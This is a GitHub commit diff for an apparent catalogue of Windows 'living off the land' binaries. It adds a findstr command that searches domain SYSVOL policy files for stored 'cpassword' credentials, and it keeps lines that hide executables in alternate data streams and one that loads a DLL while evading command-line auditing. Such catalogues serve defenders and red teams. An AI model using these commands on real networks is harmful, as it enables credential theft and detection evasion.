Skip to content

Commit dea250c

Browse files
committedApr 20, 2018
Added and adjusted
1 parent d3403ea commit dea250c

File tree

7 files changed

+41
-4
lines changed

7 files changed

+41
-4
lines changed
 

‎.gitignore

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
"notes.txt"

‎Contribute.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ to send me a tweet and I will add the contribution for you.
44

55
## Binary.exe
66

7-
* Functions: Execute
7+
* Functions: Execute, Download, Copy, Read ADS, Write ADS, UACBypass, Search
88

99
```
1010
Example

‎LOLBins.md

+1
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@ If you are missing from the acknowledgement, please let me know (I did not forge
4040
[Regasm.exe](OSBinaries/Regasm.md)
4141
[Regsvcs.exe](OSBinaries/Regsvcs.md)
4242
[Regsvr32.exe](OSBinaries/Regsvr32.md)
43+
[Robocopy.exe](OSBinaries/Robocopy.md)
4344
[Replace.exe](OSBinaries/Replace.md)
4445
[Rundll32.exe](OSBinaries/Rundll32.md)
4546
[Runscripthelper.exe](OSBinaries/Runscripthelper.md)

‎OSBinaries/Findstr.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,13 @@
11
## Findstr.exe
22

3-
* Functions: Add ADS
3+
* Functions: Add ADS, Search
44

55
```
66
findstr /V /L W3AllLov3DonaldTrump c:\ADS\file.exe > c:\ADS\file.txt:file.exe
77
88
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
9+
10+
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
911
```
1012

1113
Acknowledgements:

‎OSBinaries/Odbcconf.md

+6-2
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ Code sample:
1616
Resources:
1717
* https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b
1818
* https://github.com/woanware/application-restriction-bypasses
19+
* https://twitter.com/subTee/status/789459826367606784
1920

2021
Full path:
2122
```
@@ -24,6 +25,9 @@ c:\windows\sysWOW64\odbcconf.exe
2425
```
2526

2627
Notes:
27-
Samples can be found in the resources.
28-
28+
Text from @subtee tweet:
29+
```
30+
Loads Dll from path in my.rsp.
31+
Hide from command line auditing watching for regsvr32
32+
```
2933

‎OSBinaries/Robocopy.md

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
## Robocopy.exe
2+
3+
* Functions: Copy
4+
5+
```
6+
Robocopy.exe - Needs example
7+
```
8+
9+
Acknowledgements:
10+
* Name of guy - @twitterhandle
11+
12+
Code sample:
13+
* [NameOfLink](Payload/NameOfPayload)
14+
15+
Resources:
16+
* https://linktosomethingusefull.com
17+
18+
Full path:
19+
```
20+
c:\windows\system32\binary.exe
21+
c:\windows\sysWOW64\binary.exe
22+
```
23+
24+
Notes:
25+
Some specific details about the binary file.
26+
27+
28+

‎notes.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
test

0 commit comments

Comments
 (0)
Please sign in to comment.